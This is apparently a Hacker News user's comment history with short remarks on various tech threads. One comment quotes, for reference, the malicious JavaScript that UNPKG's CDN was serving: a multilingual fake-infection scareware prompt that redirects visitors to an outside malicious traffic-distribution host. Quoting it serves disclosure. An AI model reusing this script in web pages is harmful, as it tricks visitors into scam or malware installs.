HNHacker News
TopNewBestAskShowJobs

hDeraj

34 karma · joined July 26, 2013

submissionscomments
hDeraj··on Smooth Talk
Exploiting can be a noun: https://en.wikipedia.org/wiki/Gerund
hDeraj··on UNPKG CDN Serving Malware
And their whois registration was updated today...
hDeraj··on UNPKG CDN Serving Malware
Here's the served JS for reference:

      var lang = navigator.languages ? navigator.languages[0] : (navigator.language || navigator.userLanguage);
    if (lang) lang = lang.substring(0, 2);
    console.log('lang: ' + lang);

    var country = 'US';

    var msg = 'Your computer is infected. You have to check it with antivirus.';

    if (lang == 'es') msg = "Su navegador contiene malware. Usted tiene que instalar la herramienta de eliminación de malware Chrome.";
    if (lang == 'it') msg = "Il tuo browser contiene malware. È necessario installare strumento di rimozione malware Chrome.";
    if (lang == 'fr') msg = "Votre navigateur contient MALWARE. Vous devez installer l'outil de suppression de logiciels malveillants Chrome.";
    if (lang == 'pt') msg = "Seu navegador contém malware. Você tem que instalar o Ferramenta de remoção Chrome Malware.";
    if (lang == 'de') msg = "Ihr Browser enthält MALWARE. Sie müssen Chrome Malware Removal Tool zu installieren.";
    if (lang == 'ru') msg = "Ваш браузер содержит вредоносный код. Вы должны установить расширение для блокировки вредоносного кода.";
    if (lang == 'gr') msg = "Το πρόγραμμα περιήγησής σας περιέχει κακόβουλο λογισμικό. Θα πρέπει να εγκαταστήσετε το Chrome Malware εργαλείο αφαίρεσης.";

    if (confirm(msg)) {
        window.top.location.href = 'http://compliance-jessica.xyz/tds.php?subid=alertyes' + country + lang;
    } else {
        window.top.location.href = 'http://compliance-jessica.xyz/tds.php?subid=alertno' + country + lang;
    }
hDeraj··on Welcome to Glitch
I don't know the reasoning for the first change, but they explain the need to change it again in the article:

"If you’ve been following along, you know Glitch is a new name for our community; our beta launch last year was under the name Gomix. Why did we change the name (again)? Well, we heard from some members of our community that the old name evokes a hurtful slur in some Russian communities, and given our deep commitment to building an inclusive service, that didn’t sit right with us, even though people understand we didn’t mean to be hurtful. But then we realized that in fixing this slight, we had the opportunity to pick a much better name, one that makes it absolutely clear that we’re building a community for everyone."

hDeraj··on Exploring calling conventions with x86 assembly
When calling a simple function like this within a large loop, would it make a noticeable difference in speed to inline the computation vs. having a function call? If so, what's the best practice for inlining a computation like this? I imagine a macro would be the simplest solution but I'm interested to hear any other techniques that are used
hDeraj··on Voxel.css
This is actually a bug with CSS3D transforms in general with Firefox:

http://jsfiddle.net/yNfQX/21/

hDeraj··on Compiling to WebAssembly: It’s Happening
I see WebAssembly this way:

WebAssembly is to JavaScript what WebGL is to Canvas

hDeraj··on The Universal Data Structure
Also note that the post is tagged as 'bad-theory'
hDeraj··on Accounting for Developers
I actually did a (rough mvp) hackathon project with a friend that implemented this idea pretty literally: https://github.com/dominodes/dominodes
hDeraj··on Vibrant.js: Extract prominent colors from an image
I just started a similar project a couple weeks ago. After getting the prominent colors, recoloring the original image makes a pretty neat effect.

http://www.jaredharkins.com/posts/palette.html